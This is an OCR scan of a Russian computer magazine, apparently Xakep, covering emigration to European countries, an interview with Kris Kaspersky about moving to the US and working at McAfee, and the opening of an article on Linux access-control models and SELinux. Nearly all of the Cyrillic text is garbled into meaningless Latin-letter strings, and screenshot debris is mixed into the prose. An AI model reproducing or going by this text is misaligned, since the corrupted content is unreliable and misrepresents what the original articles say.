c paboTtonatenem Tebs BbICTPEHbLKO NONPOCAT
YAANWUTBCS U3 CTPaHbI.

B uenom, c bymaramu 1 TpyaoycTpoiicTBOM

«ANATOrO, HTOBbI NEPEBPATLCA
CIHOOA BOJIEE OCHOBATEJIbHO, NO-
HALOBATCA CEPbE3HbIE TAJIAHTbI,
)KENNAHUE N YMOPCTBO, HEMANO
BO3HU CBYMATAMW»

Poccun. [leno B ToM, uTo Ang nonyyexua Tier

1 TpebyeTcsa He TONIbKO CAava I3bIKOBOMO TECTa
IELTS n Hanuume cBobofHbIX GUHAHCOBbIX
CpefcTB, HO U AMNAOM MarucTpa (Master's
Degree), a pycckue MarucTpsl 1 CreumanmcTsl
Tenepb NpvpaBHMBatoTcs K bakanaspam. Eule no
HOBbIM NpaBWaM Heb3s oTcyTcTBoBaTh B UK
Bonble 90 gHel B rogy. 3HatoWmMii Hapoa coob-
LLLAET, 4TO MPW XKeNaHUN MOXHO A0Ka3aTb U CBOIO
crenenb (nonyuns 8 NARIC HyxxHyio cnipasky),
navns 90 aHeit, Bpoae Bbl, He JOMKHbI BXOAUTb
OTMYyCK ¥ KOMaHAMPOBKU, HO Ha lefle BCE 3TO He
BCerfa cooTBeTCTBYeT felicTBUTeNbHOCTH. Ecnn
YH4eCTb TakKe BbICOKWI ypoBeHb LieH (koMHaTy

B NPUAVMYHOM paiioHe, pALOM C METPO JelLleBre
500-700 dpyHTOB (24-33 ThIC. py6ren) He HalTy,
anoesfka Ha MeTpo obxogutcs npumepHo 8 100
«[EpEeBAHHbBIX»), KapTUHa, CaM MoHMMaelb,
nony4yaeTtcs He 0cobeHHO NpuBeKaTenbHas.

B VicnaHum Toxe He CWLLIKOM pafy>kHo — BCe Te
e NoCNeAcTBMA KpU3nca, napLinsas ako-
HOMUYecKas cuTyauns B cTpaHe (Mpeuns yxe
pakTnyeckn obarnkpoTunace, u VicnaHusa B aTom
BOMPOCE YBEPEHHO [bILUNT i B CMIUHY).

OyeHb Benuk npoueHT bespabotunusl — bonee
20%, uto genaeT VicnaHuio nMaepom B 3ToM
BOMpoce BO BCel 3anafgHol EBpone, Ho B cpefe
IT, TeM He MeHee, YTO-TO BMOJIHE MOXHO HaNTL.
Bes fokyMeHTOB 3aeCh, Kak 1 B bonblUMHCTBE
npyrux ctpat EC, nopabotats He BbiliaeT (Ha
ntoboe MecTo HalAeTCs Kyya XenawLimx, Ho ¢
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CUTyaLus aHanoruyHa gpyrum ctpaHam EC —
crnepsa KoMMaHwus, npuHuMatoLlas Tebs Ha pa-
BoTy, oMKHa LoKa3aTb, YTO Takoro Xe crelua-
NMCTa HEBO3MOXHO HaTv B lfepManuy unun s EU.
OcTaTtbes 3geck Ha [MMXK, nonyyns rpaxaaHc-
TBO, JOCTATOYHO NPOBAEMHO, CaMble BEpHble
BapuaHTbl — Yepe3 bpak nav oTKpbITE CBOErO
nena. C ocTanbHbIM BO3MOXHbBI TPYAHOCTY.

[ins KoMPOpPTHOrO NpoXMBaHWA 1 paboTsl B

OP[ Tebe noHagobunTcs 3HaTb UAK BbIYYMNTH
HeMeLKWI A3bIK, XOTS 3HaHWe aHMINCKOro Toxe
He DyfeT MUWHUM.

Pasbpoc LieH Ha Xube [JOBONIbHO BENWK, TakK
Kak cTpaHa HemaneHbkas. B bonblunx ropogax,
TPaAVLMOHHO, JOPOXe, TO eCTb Ha CPeJHEEBPO-
nelickoM ypoBHe: fiBylka B MioHxeHe oboiigeTtcs
B 800-1000 eBpO B MeCSLL; HO B TO XX€ BPEMS B
JNeiinuwure aHanornyHas XUNnnoLasb MoxeT
ctonTb nopsaka 300 eBpo. CToumocTs npo-
LYKTOB, OAEX/bl ¥ MPOYVX TOBAPOB M0 CTpaHe
Konebnetcsa HeCUNbHO.

Bo ®paHunm nocnencTens kpuanca Toxe
3aMeTHbI He CIMLLIKOM CUTbHO, HO eCTb HEMHOTO
npyras npobneMa — Kak yxe bbifo ckaszaHo
Bbille, 370 DOsIbLIOE KONMYECTBO MIMMUTPaHTOB.
MHorwe, ko npoxwun Bo PpaHLmnm no Heckonbky
N1eT, 0T3bIBalOTCH 00 3TOM B KpaiiHe HeraTBHOM
kntoye: «OrpoMHoe KoNMYeCTBO OTBPATUTENBHO
BefyLux cebs SMUrpaHTOB M3 BbIBLUNX KOSOHUI
1 cnaboBonbHas NONNLKS, y KOTOPOW HET MoJi-
HOMOYMI 4TO-TO C 3TUM fenatb». Hanuncaplwmni

npviBefileHHble CTPOKM I T-LWHWK, KCTaTw, B UTOre
NpVHAN pelerne BepHyTbea B Poccuio.

Ho ecnn 3acunbe apabos 1 HeobxognmocTs
y4unTb GpaHLy3CcKuil 93bIk Tebs He nyratoT, To B
0CTaNbHOM KBaNMGMLMPOBAHHOMY CreLnanmncTy
NN CTYL,EHTY 3[1€Cb MOXHO HEMJIOX0 YCTPOUTLCS.
WaHcsl HaliTv paboTy BecbMa Hennoxu (Ho Hawm
IVMNJIOMbI MPUAETCS MOATBEPXAATL), C 0dpopM-
neHneM bymar Bce 06CTONT MPUMEPHO TaKXe,
Kak v B apyrux ctpaHax EC. LleHbl n knnmat
3[leCb, ONATh e, Ha Nt06011 BKYC, XOTH, KOHEYHO,
y IT-WHWKa BPSA W NONyYnTCH HalT paboTy
roe-Hubyab Ha JlasypHoM nobepexbe :). 3ato
3apnnathly KBannULNPOBAHHbIX UHXXEHEPOB
34ecb HauuHatoTes rae-To o1 5000 eBpo.

CEBEPHAAl AMEPUKA
W KPUC KACMEPCKH

McTopuio aToro Yenoseka Mbl peLLUIN BbIHECTU
OTAENIbHO, MOTOMY YTO 3HAeM, Kak Hallli YntaTte-
JI1 N0 HEMY CKY4aloT, M 3HaeM, 4To BONbLINHCTBO
NpoAoKaeT MHTepecoBaTbCs ero cyabboii.
MTak, ans Tex, KTo He B Kypce: 04uH 13 nobu-
MelLLNX HapOA0M aBTOPOB HALLIero XypHana,
M3BECTHbIN Ha Becb Mup xakep Kpnc Kacnepckuy,
yXe ycnen obbe3anTb nonnnaHeTs U ceityac
ocen B CoeanHeHHbix LLTaTax 38e3aH0-no0-
nocatoit AMepwikun. Ha garHbiit MoMeHT Kpuic
TpyaMTCS Ha KoMnaHwuio McAfee B [OMXKHOCTY HU
MHOTIO0 HV Maso senior reverse engineer.

O TOM, Kaky Hero Bce 310 NMoJNy4MN0Ch, AaBan
CMpOCKUM ero camoro.

Mifrill (M): Kak poaunacb uges yexats n3 Poc-
cun?Y 169 bbiN KOHKPETHBIV NAaH 3MUTPUPO-
BaTb, UM BCE BbILLJIO COHTAHHO?

Kpuc Kacnepcku (K.K.): 3To gnuHHaa nctopus.
B obuieM, Bcemy BUHON NPUYNHBI TMYHOTO
XapakTepa, KOTopble MHe 3,0p0BO Hafoenu —
13-33 HUX 51 PELLIUN KyAa-To nepeexaTb. XoTen
3aXMWTb, YTO HA3bIBAETCH «CaMOCTOATENbHOW,
cBobofHONM XM3HbIO». ATak kak Mocksa v [Tutep
MeHs COBEpLUEHHO He NpurkanbiBatoT, a bonblue
Hurae pabotel B PO v HeT, 5 cTan paccMaTpuBaTth
Bble3JJHOV BapuaHT.

M.:Tlepen Tem, kak ocecTb B LLITaTax, Thiycnen
nobbiBaTh B Ky4e CTpaH, MOMHUTCS, bbin faxe B
FOAP. C yeM 370 bbIs10 CBA3AHO?

K.K.: Texnuueckum ceitvac s B LLTaTax yxe B
TpeTuii pas, a 10 3T0ro 8 GpuUNaHcua no scemy
mupy. BHOAP bbin, fa — coTpyaHv4an Tam ¢ KOM-
naHueit sensepost.com. Mo cyTw, B pasbespax

7 Bblibupan mexay FOAP, Vi3pannem, EBponoiin
LLtaTtamun. MNpucmatpusancs.

M.: A kak MMeHHO BblBVpasn, 0T Yero oTTanku-
Banca? To ecTb Tbl HAXOAUA NPEASIOKEHNS O
paboTe v OTTANKWBaANCS OT HUX, UV BHaYane
abcTpakTHO cen v nogymars Ha TeMy «CTpaHa,
rae s1xoTes bbl XWUTb», @ y>XK NOTOM Mckan paboTy
MMeHHO Tam?

K.K.: Hy, npexpe Bcero, koHe4Ho, bbina pabota
— MHe Npeanoxunu, s v noexan. yman, 4to
MpoCTO Tak, a 0Ka3anoch, HALOoMrO.
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BoobLue, cHayana HyxxHo nMeHHo nopaboTaTs,

1 3aechb s npoboBan Bce BO3IMOXHbIE BapHaHTbI
[Manaisnsa, Kopes, lonkoHr, Tannawa). Mpocto
4TODbI XOTb YTO-TO MOHATH, HYXXHO MOXMTb XOTb
HEMHOT0 B CTpaHe ¥ MOCMOTPETb, BKYPUTh B
MUrpaLMOHHOE 3aKOHOAATENbCTBO, OLLEHNTbL CBOM
LwaHcsl. B obuiem, s kakoe-To Bpems bykanbHO
XUN B camoneTax. M B utore noHsn, 4to A3ns MeHs
He NpuKanbiBaer.

M.: Torga no3Bosib BONpoc Npo HensbexxHyto 1
Be3gecylyto bropokpaTuio. Korga Tel dpunarcun n
KaTasncsi no BceMy CBeTY, TPYAHO v bbino ¢ bymara-
MU, B YCTHOCTW, C BU3aMK?

K.K.: [la, c Bu3amu bbinm npobaembl, ocobeHHo
roHayvany, Koraay MeHs opuumansHo He bbino Hu-
kakol paboTbl, a nouTn Be3e TpebyeTcs cnpaska ¢
970 camoit paboTbl. [1oTOM € 3TWUM CTano HaMHoro
npotye. leno B ToM, 4To B onpeseneHHbI MOMEHT
5 oTkonan B Mockse xopoluee B130BOe areHTCTBo,
KoTopoe 1 B3s10 Ha cebs peleHne Monx npobnem.
Ho, Hanpumep, eaBa g caenan Busy 8 Kntan — tam
HeoXunaaHHo 3aTpeboBany opurMHasnbl CnpaBok

c paboTbl, npurnawexuns. B AMepuky, onaTts xe,
nenanBu3y 6 MecsLeB — Yy MeHs Dbin ABHblE MUT-

NMAPUI, ®PAHLIUA

paLUVOHHbIE HAMEPEHUS, KOTOPbIX f 1 HE CKPbiBan,
TaK 4To Ha4Yanu NpoBepsTb Mot bakpayHa. A Torga
neTesn Ha MHTepBbIO B Macrovision, 1 nosy4nnoch
0YeHb 3abaBHO: A LonKeH bbin NpunbbITh B deBpa-
e, HO BM3Y BbILAN TONIBKO B Mae, Tak YTO K HV M

A nobpancs Tonbko B utone. Ho Bce xe BU3bl MHe
BblI[JaBanu, eLLle H1 B OfIHOW He oTKa3anu.

M: BceM bbi TBOIO yaady 1 TanaHTh :).
CrepytoLLmnii BONpoc Toxe U3 pa3psifja caMmbix
0Y4eBUHbIX — a KaK C A3bIKOM, FAe U KaK Tbl y4us
AHTAMIACKINIA, Y TONBbKO M @HTNUICKNIA?

K.K.: 0, B cBOE BpeMs 9 3aayMast Hay4mnTbCs NucaTb
Ha vHrnuwe. Ho kak aTo caenatb? Kro byget
npaBuTb Mo oLLnbkM? MoTbikancs 9 Toraa, noTbi-
Kancs, U HKyaa He bepyT MEHS C MOVIM MO30PHbIM
3HaHWeM si3bika. Toraa s yCTPOUACS B OAMH Xyp-
HabyuK, YTOBbI NMCaTb 3POTUYECKHME PAaCcCKa3MKK
OT UMEHW 1eBYLIKN-NeCOUAHKM, ONMChIBatOLLEN
CBOM NOXOXAeHWs. TaM 0T MOero aHrniickoro
TOXe NpULWAKM BYyac, Ho... CTaTbn Bo3byxaanu
MOMObIX [poYepoB, 1 peaakTop fan fobpo. Kop-
peKTOpbI TOrfa NOYTH MOHOCTbIO NEepenucbIBanu
TEKCTbI MOVX MEPBbIX «CTaTel», Tak YTo 33 BbIYETOM
Bcex WTpadoBy MeHs ocTasanock $53a cratbio,
HO 3T0 BbINa Wkona monogoro bowua. Cnenyto-
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LW War — ycTpouncs bnorrepom B MooAyto, HO
BbICTPO pacTyLLyIO LUTATOBCKYI0 KoMnaHuio 3a $800
B MecsL,. 370 buin Endeavor Security. A Hanucan
NATb CTaTel, U3 KOTopbIX onybnnkosanu Ase,
npefcTaBasews? Ho aHrMRCKMiA MOl BCe paBHO
CnunBa’, Tak 4to 0cobeHHO NMcaTh MHe 1 He fanu,
0cobeHHo Korfa noHsu, 4To § Mory pesepciuTb. Hy
BOT. Torfa-To 1 3apofucs NpoeKT, Haj, KOTOpbIM
pabortato ceiyac, a beino ato B nioHe 2008 ropa.

M.:TToronu, a kaky Tebs € A3bIKOM ceityac, Koraa
Tbl €341LUb N0 BCEMY MUPY, 0bLLaellbes C oAbMY,
LOKNaabl YMTaellb 1, HakoHel, B AMepuKe Xn-
Bewb?

K.K.: Mo#t aHrnnicknin — go cux nop He oHTaH —
1 CO CJlyXa BCe MOHKMal0, HO CaM He 04YeHb XOpoLLOo
rosopto. Ho Korfa npuxoamnTcs Kaxaslii feHb
4acoB Mo 12 MONOTUTBL A3bIKOM, & MOTOM OTTAI -
BaTbCH M0 «KyJbTYPHO Mporpamme» ellje Yaca 4,
NpWBbIKaELLb.

AB LLITaTax A3b1k0BOI Cpefbl, KaK TaKOBOM, U HeT,
370 He M3pannb. Hanpumep, y Hac B komaHae

TPV KMTalLa — oHW Mexzy cobol roBopsT Ha
KWUTaCKOM, fieByLUKa ¢ TarBaHs, neBywika u3 FOAP
n 13 Poccun. Mntocy weda xeHa n3 AnoHny,

JPYHAA KOMAHJIA KPUCA KACMEPCKH

BULe-Npe3naeHTy Hac 13 YKpauHbl, a CTapLuni
BULLe-Npe3naeHT 13 [epMaHmn.

Vnwu, k npumepy, B Marasure rpaxaarux CLUA
rOBOPUT CO MHO Ha aHMINICKOM, KOTOPOTO f He
noHumMato. B cmeicne, kaccup. [1oToMy 410 OH —
MHAYC, a Apyrovi kaccup — MekcukaHel, Bogutens
Takcu — 0bbIUHO KUTaeL, 1 BbeTHaMel, U Tak
nanee. [1oToMy TyT ¥ HALMOHaAM3Ma HEMHOTO, U

K PVE3XMM MOYTY HET OTHOLLIEHWS «MoHaexanu
TYyT».

M.: Pacckaxu, kak Tol nonan B McAfee. 31o oHun
Teba HaWAW, Un Tbl UX?

K.K.: B deBpane 2009 Endeavor Security, rae 4 pa-
6oTan, npofan Bce cBou akumm komnaHum McAfee,
1 MOVt Wed CNPOCK MEHS, Kakue y MEHS MNaHsbl

Ha >kW3Hb. Tak Kak 1 TorAa bbl KOHTPAKTHUKOM, TO
nocne aTon chenku Gaktnyeckn Tepsn paboty, Ho

Wwed, nobpeiiLen oyl Yenosek, B NOCIeLHMIA
MOMEHT TPYLOYCTPOWA MeHs, Tak YTo B McAfee a
nonan yxe nepesofoM. OduLnanbHo OHY NPUHS-
nnmMeHs B asrycte 2009 roaa, 3ak/1K04MB CO MHO
TPYLL0BOI J,OrOBOP.

M.: MonyyaeTca, 4To Npowwen yxe rog. M kak
OLLyLLLEHMS Ha «HOBOM MecTe» (1 B CTpaHe, n B
KoMnaHum)?

K.K.:TepBoe BneyatneHue ot camoro PecToHa
(kyna a npuneten nz Can-PpaHumMCKo 1 rae 1 KuBy
ceiyac) bb110 04eHb crnbHbIM. [peacTasnsels,
3afiHMLa NosHas — OAVIH XaliBelt, Bbicokas Tpasa,
TponuHka eLe bonee 3anyweHHas, yem B tOAP, a
13 TpaBbl benikn BbINpeIrnBatoT. V Ha Beab ropog,
OAVIH COTOBbI OMEPaTop, OAMH KUHOTeaTp 1 ABa
NpOAYKTOBbIX MarasunHa. Hy, eLlie KoMMnbloTepHbIi
marasuH Apple, v Bce.

Boobuue, 3neck B PecToHe xalTek-30Ha. He Kpewm-
HMeBas AOANHA, KOHEYHO, HO BCE XXe — MOMUMO
KpYMNHbIX PUpPM TUNa «VHTena» n Bcero npoyero
eCTb VM KOMNaHuW noMenbye, Tuna McAfee, a Takxe
oducel ele bonee menkunx koHTop, Tvna iDefence.
B obLeM, Bo BTOpoVi BU3WT MHE TyT y>Ke 04eHb
NoHpaBunock, 1 st petwmnncs. KTomy xey Hac 3gecb

0YEeHb IPY>XKHbI TUM... B obliem, 1 13-3a TumMa

¥ MOANWCANCS Ha 3TO A0, XOTA U yMar, 4To B
Mera-kopropauun (ay Hac okono 10 Tbic. cotpya-
Hukos 1 5 HW, B ogHOM 13 koTopbix 51, kapbepy
He NoCTpouTb. B BonbLnx KOMMNaHUAX UTak MHOMO
MO3roB, Aa 1 BlopokpaTns Takas, Kakoi gaxe B
CCCP He bbino.

Ho Tak nonyunnoce, 4To oprLManbHO, Ha NMOHYIO
3aHATOCTb, MEHS TPYAOYCTPOUAN C aBrycTa, a
3MMOIA CKa3anu, 4To 1 — coTpyAHMK rofa. Bropoi
COTPYLAHVK rofia — KUTANCKNIM yYeHblit, C KOTOpbIM
Mbl BMeCTe oTTArnBanuce B [ekure. Bonblue
COTPYLHMKOB rofia He bbino. To ectb, 13 10 000
yenoBek BbIbpany AByx. Tbl MEHSI U3BWHM 3a BbIpa-
xeHwe, Ho g npocTo [censored].

M.: AsToro 3BaHus Tebs yaoCTOMAM 33 Kakme-To
KOHKpETHble 3acnyrn?
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KYCOYEK AMEPUKAHCKOIO rOPO/IKA PECTOH OT KPUCA

K.K.: Bobuiem, na. Ecnv nomHniub, bbina Takas
HalyMeBLUas aTaka Ha Google — «Aurora».
Bot3aHee n Harpagunu. Qokyc B ToM, 4To A ee
9BPUCTUKOI pacno3Has, MofyneM, KOTopblii cob-
pan elle B aBrycre-mecsue, To eCTb 3a Nonrosa
[0 camoii aTaku. KoHeYHo, MHe NpoCcTo NoBe3no,
Kak Be3eT HeMHOrMM... Ho B UTore okasanocs,
YTO Nepefo MHON OTKPLIINCH TaKne NeperekTv-
Bbl, 0 KOTOPbIX 5 BOObLLe MeuyTaTs He Mor. [laxe B
npuHumne.

M.: Hanpumep?
K.K.: BO3MOXHOCTb 3aHMMaTbLCA TeM, YTO MHe

MHTepecHo. To eCTb, y MEHS eCTb CBOI NPOAYKT
VI CBOE BUIEHWE CUTyauun. A ero Touy, 1 MeHs

HeT, Ha camoMm fiene, st paboTan, koHeuHo... Kak
pas3 rynsto no apuHCKMM pa3BanviHam, a TyT Ha
TenedoH NPMUXOAUT CMC, MOJI, NONYHAPA. A xBa-
Tato HoyT (Asus eee, 6n1aro oH ¢ cobolt, B cymke)
1 NPAMO CPefu pasBavH caxych v paboTato Ha
npasuTenbcTeo CLUA ).

M.: Ho nonyuaetcs, B AMepuiKe Thl 0CeN yxe
Hafonro, pas Tebe Bce HpaBUTCS U BNepean
npekpacHble NepcnekTnabl?

K.K.: Ecnv yectHo, EBpona MHe HpaBuTcs bonb-
we, Tak yTo LLITaTel BApMaHT noka He oKoHYa-

TeNbHbIN — NpefcTaBuTenscTBa McAfee ectb B
EBpone. Aocen g noka uTo, Tak Kak HEeBbIE34HO.

M.:TTorofn, To ecTb ceityac Thl B CTaTyce Hefle-
rana?..

«MEPBOE BMNEYATNIEHUE OT CAMOIO
PECTOHA B6bIJ10 OMEHb CUJ1IbHbIM.
NPEACTABNSAELLbL, 3SAAHULIA

NOJIHAA»

HWKTO He TporaeT :). Bonee Toro, aaxe Bbiwec-
ToslLee Ha4aNbCTBO MHe NoMoraeT. BoT cetyac
rnaBHbI apxuTekTop B cBoboAHOE BpeMs
paboTaeT Ha/j, MOVM 3KCNEPUMEHTANbHbLIM NPO-
€KTOM, KOTOPbIN Noka GyHKLMOHMPYeT TONbKO Ha
nabopaTopHoM cToJle.

M.: [1a, 3aH1MaTbCA NOOMMBIM fie10M, UMesd A1d
3TOr0 U BPEMS, U CPeACTBa, 1 Nosy4yas 3a 370
[leHbI N — 3T0 AeNCTBUTENBHO NpekpacHo. Ao
bpunaHcepckrM pasbesnam He ckydaels?

K.K.: Hy, 7 HepaBHO iBa MecsiLia Harno npory-
nnBan, cnoHssce no EBpone v noceinas wedy
npuseTsl To 13 LWseiuapuu, Tous Apwt :J. Mens
32 3T0 3arHanu B 5-HeBHbIN Heonaa4BaeMblit
OTNYCK, TO eCTb, A noTepan 1/4 3apnnatsl 3a
Mecau. Obuaencs xyTko.
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K.K.: HeT, He coBceM. Kaxzablli pa3 npv Bbe3ge B
ctpay (8 CLUA), Tl 06bsicHA WL TaMOXEHHIKY
Lenn BM3nTa, NokasbiBaellb Bellljokn, beceay-
elb C HUM, @ OH CHMUMaeT oTrneyaTku, oTorpa-
bupyeT ceTyaTKy 1 0TNpaBnsaeT Teba fanblue.
[Mpoxofuiub, B 0bulem, Yyepes Tpu Kpyra afa,

1 nocneaHas MHcTaHuma byxaeT Tebe wramn
194, roe yka3zaHo, CKOSIbKO Thl MOXeLLb bbiTb B
CLUA — 0bbI4HO 3TO TPY MW LLECTb MeCsLeB C
BO3MOXHOCTbI0 MpoAfieHns. MonyyaeTcs, 4to
HaxoauTbca B CLLIA MoxHO 1 6e3 BU3bl, HO BOT
BblexaTb HeNb3s. ToyHee, MOXHO, KOHEYHO, HO
NoTOM He Nony4YnTcs BbexaTb obpaTHo. BoT a
cenyac Kak pas Takon «HeBble3[HON» — no-
3uLMA neranbHas, NpocTo i94 3akaHynBaeTcs.
MOXHO MpoANUTL Ha 6 MecsLLeB, HO HeNb3s
nepecekaTtb rpaHuLy, Tak kak Bu3bl HeT. Kak pa3

B MOHeAeNIbHUK BOT NOAas NeTULMI0 Ha CMeHy
cTaTyca.

Boobuwe, CLLUA — ofHa M3 HEMHOTWX CTpaH, y
KOTOPOU ecTb 0duLManbHas rocnporpamMma no
nopfepxke npodeccroHanbHbix pabounx. B
LpYrux CTpaHax c aTUM TpyfHee, TaM rocyfapc-
TBO He 03aboy4eH0 TakMMK BOMpocamu.

M.: Y1o X, yaauu c bymaramu, n faBai Hanocne

LOK HEMHOr0 oTBAEYeMcs oT paboTkl. Paccka-
xWu, kak B CLLIA, a B yacTHocTH, B ropofe Pec-
TOH, WTaT BupxXuHus, obcToaT gena c ueHamu
Ha Xunbe 1 edy, Yto c TpaHcnoptom? CnoBowm,
NOCBATM HaC B ObITOBbLIE HIOAHCHI.

K.K.: Kak g nckan xunbe? [la a4 yxe bbin B
Kypce, 4To 3[jeCb 1 kak, pa3obpancs elle BO
BPEMS MPOLLbIX BUSUTOB (M B HETE MOXHO
HaliTv Bcel]. Kunbe cHuMaeTcs aneMeHTap-
HO — 32 $2000 MOXHO CHUMATb BYX3TaXHbI
[10M C BacCeHOM M IMYHBIM KOPTOM, Ha TO Y
Hac v AepeBHs, X0Tb 1 40 BalnHrToHa pykoi
nofatb. Ho # 3a 4yTb MeHbLUME [EeHbIN CHYMAt0
[0BOJIbHO CKPOMHYI0 KBapTHpy, MOTOMY 4TO YMC-
T0, c Mebenbto 1 buicTpo. [pu 3TOM YacTo faxe
nacnopTa He ClpaLinBatoT, Kak HW CTPaHHO.
Hy, y MeHs BoT He cnpawwmsanu Hu ID, HUKakmx
Lpyrux jokymeHToB. OnnaTy npocTo ¢ KpeAnuTKM
CMMCHIBAOT MOHEAENbHO.

A BOT KynuTb KBapTupy 3geco... B obuwem-To,
ecnv bpaTb B KpeAWT, KBApT1pa B LEHTpe
PecToHa c ogHo cnanbHeit oboinetcsa B8 $500
B Mecal, npu 3apnnate nopaaka $10000 8
Mecsl,. Tak 4To nonyyaeTcs, kKBapTupa npakTu-
Yecku HuYero He cTouT. Ho, noBTOptOCh, Y Hac
nepesHd -

C ueHaMu Ha efly ¥ MpoYMe TOBaPbI KM3HEH-
HOM HeobXxoAMMOCTU BCe 06CTOUT NpUMepHO
Takxe: Ha 100 bakcos MoxHO HabpaTb oueHb
MHOT0 BKYCHOTO B MarasuHe «s borateix», B
KOTOPOM, KXM, HEMHOTWE U3 HaLWNX COTPYAHU-
KOB 0TOBapMBAKTCS, U CMIOKOMHO MUTATbCS Kym-
NeHHbIM Hefenmo. MiHTepHeT... Hy, B npuHumne,
256 kunobwut 3a $20 B MecsaL — 370 HOpManbHoO,
Be3nnmMuTKa.

ABOT MalLMHbI Y MEHS HET, Tak KaK # BOAUTb

He yMeto — Kak-To BOT He Hay4uIcs paHblUe,

a ceiiyac BpeMeHu HeT 3TuM 3aHaATbes. M xoTs
oT f,oMa o oduca MHe TonaTb Bcero 15 MUHyT,
9T0 BCe paBHO o4veHb HanparaeT. B LLiTaTax be3
MallnHbl — Tpyba: Hanpumep, be3 «konec»
He Mory BblDMpaTh Xuibe TaM, rae xovy. 3aech
4acTo 1 TPOTYapoB-TO HET, TOJIbKO JOPOTK.

Tak uTo B Uenom B LLiTaTax oueHb faxe HU4Yero.
Hanpumep, 3a nonroga Bcero pas oTkao4anu
BOAY, MWHYTbI Ha AiBe. YBefoMunm 0b 3ToM 3a
TPV AHS W CTPALLHO M3BUHMUAUCH. A BCe noyemy?
[la noTomy 4To npu BCceM 3fewHeM bappake TyT,
no KpalnHel Mepe, eCTb C KOF0O CMPOCUTb.

P.S.Yepe3 Tpu fHaA nocne atoro nHTepsbio Kprc
ycnewHo nonyynn susy O-1A, To ecTb cMeHMN
cBOM 0ULMANbHbIN CTATYC HA HEMMMUTPaLK-
OHHbIN paboynit, c 4eM Mbl ero

nnosppaBnsem! 2
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CpasH1BaeM nonynsapHbie pacLUMpeHus
6esonacHoctu ans OC Linux

Unix, poanBLUIMNCA NpaKTUYeCKy BMeCTe C MepBbIMM KOMMbOTEPaMU,
MCMOMb30Bas 04eHb NPOCTOM MexaHu3mM besonacHocTu (ugo), koTopbiid rypy
CEMUAECATLIX MOCYUTaNM bonee 4eM f,OCTaTOUYHbIM. HO B COBPEMEHHOW

CUCTEMeE, FAe KPYTATCA 0eCATKM IEMOHOB M MPOrpamMM, 3anyLLeHHbIX 3-M0A4
Pa3HbIX Y4ETOK, F[PaMOTHO Pa3pynuTe BCe NpaBa CTapbiMU MHCTPYMEHTaMM
y>Ke He nosydaeTca. A fenaTh YTO-TO HY>XHO.

D,MCKPEU,MOHHblM pasfeneHune HGopMaL M, OCHOBbLIBAACH, B (Discretionary Access Control — DACJ, To ecTb

7] MAHD,ATH bIUW KOHTPOJ1b nepBsylo o4yepeab, Ha TpeboBaHUAX KOHGUAEH- n0bpoBonbHON Mogenbio focTyna. [Monb3oBaTtens
,D,OCTYI'IA LUManbHOCTU M LeNIOCTHOCTW. TpafuLMoHHasn cam onpegenseTnpasa fOCTyna K CBOVM daiinam,
[Ins Hayana oTBNeYeMcs M nopasMbliwaseM 0 ToM,  Mogens Unix onepupyeT TpeMs napameTpa- a BbIMOJIHAOLLMECS MPOrpaMMbl UMEIOT Te ke

YTO eCTb V1 3a4eM HY>XHO elLle YTO-TO MPUKPYYn- MU — M0J1b30BaTesIb, FPynna-noab3oBaTens u npaBa, YTo 1 3aMyCTUBLUMI UX NOb30BaTeb.
BaTb. OgHa n3 3agad nobort OC — obecnevynts ocCTaflbHble. Ha3blBaeTcs OHa AVCKPeLMOHHO Mexanunam DAC onupaeTcs B cBoel paboTe Tonbko
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SELInux Administration

B ot vew Jeminal Dos Hep g
Ele Help
serpTy Select: &
luser_ursystem_riunconfined t Status
| [centos@livecd ~1$ su =T Add Properties  Delete
[root@livecd centos)# 1d -T L Pease y level for ¥ —
|user_u:systes_riumcontined_t a{ = = Filter [ =
TRy (B
Enforcing H User Mapping | File Selinux File i
SELinux SefSng. | Permistive SELInUX User Specification File Context Type
Disabled ™ & Port ystam_u-abject_rderault_t:s0 all riles
Policy Module fxen{)*)? system_uobject_rixen_image_t:s0 all fites
| fntlT =% system_u:object_r:mnt_t:s0 symbolic link
flaalal ) i o0 1 system_u:object_rimnt_t:s0 directory
1 1 h- system_u:object_r:bin_t:s0 regular file
fibr.* system_u:object_r:lib_t:s0 all files
ing.» system_u:object_r:bin_t:s0 all files
Marf* system_u:object_rivar_t:s0 all files
fedew)* system_u;object_rdevice_t:s0 all files
IQ | 3¢gancer | @ | Ampl <<None== ail filas
= fusrj* system_u;object_riusr_t:s0 all files
. - " s
Bb|6OD peEXMMA Da6OTb| SELanX frvi. system_u:object_rivar_t:s0 all files L]
Lsesern anieihlrmi 8 i I=
GI — T
[ ]
[P D = | = L [y

Ha TOXAeCTBO N0/b30BaTeNs, UTHOPKPYS APYryio MHbopMa-
LMo, HanpuMep, 0 poJin Nosb30BaTeNs B cucTeMe, GyHKLUN U
YPOBHe J,0BEpPUsi KOHKPETHOW MporpaMMbl v He0bXoAMMOCTN B
LLeNIOCTHOCTM laHHbIX. Kaxaas yueTHas 3anmch MeeT NoJHY0
cBobosly AeiicTBMI B Npefenax CBOMX MOMHOMOUMIA.

Kak Tbl noH1MaeLlb, pa3epHyTbesi ¢ DAC ocobeHHo Herge:

BCe WIN HWYEro; BUHAA — V1 Ta AaeT 60o/bLLe BO3MOXHOCTEN Mo
HacTpoiike focTyna k obbekTaM. [1oaToMmy cerofHsa ans Linux
[LOCTYMHbI pelleHuns, basvpytoLimecs Ha COBEPLUEHHO pyroi
Mogenn sawmtel — MAC (Mandatory Access Control, npuHy-
LUTENbHbBIN KOHTPOb focTyna). OHW Mo3BoNAI0T onpeaenuTs
nonnTNKM 6e30MacHOCTU Haf BCEMU NpoLLeccaMu 1 obbekTamy,
pelueHune 0 AOCTyMNe NPUHNMaeTCs Ha 0CHOBe DoJbLLIero Kosu-
yecTBa vHdopMaL MK 0b 0bbekTe, a He TONIbKO 0CHOBbIBaSICb Ha
ToxpgecTse nonb3osatens. [puyem MAC He oTMeHsieT, a gonon-
HaeT DAC, Tak kak cHavana nposepstotcs npasa Unix, n, ecin
OHV 3anpeLLatoT 40CTyn, To AafibHelilas nposepka NpocTo He
npowv3soauTcs. [poBepka Npas BbINOAHAETCS TOJbKO B TOM
cnyyae, eciv cTaHfapTHble npasa Unix paspeluatoT JocTyn K
06bekTy. Jlioboi 06bekT NnoMellaeTcs B Hekyio BUPTyasbHyto ne-
COYHYILY, KOTOpas MO3BONAET NMPUI0XKEHIO BBINONHATE TONbKO
CTPOro pernaMeHTVpoBaHHble 3agayv. Mpuyem npu onncanum
[0CTyna K 06bekTy KOHKpEeTHbIe peann3aLyn MoryT NpUaepxKu-
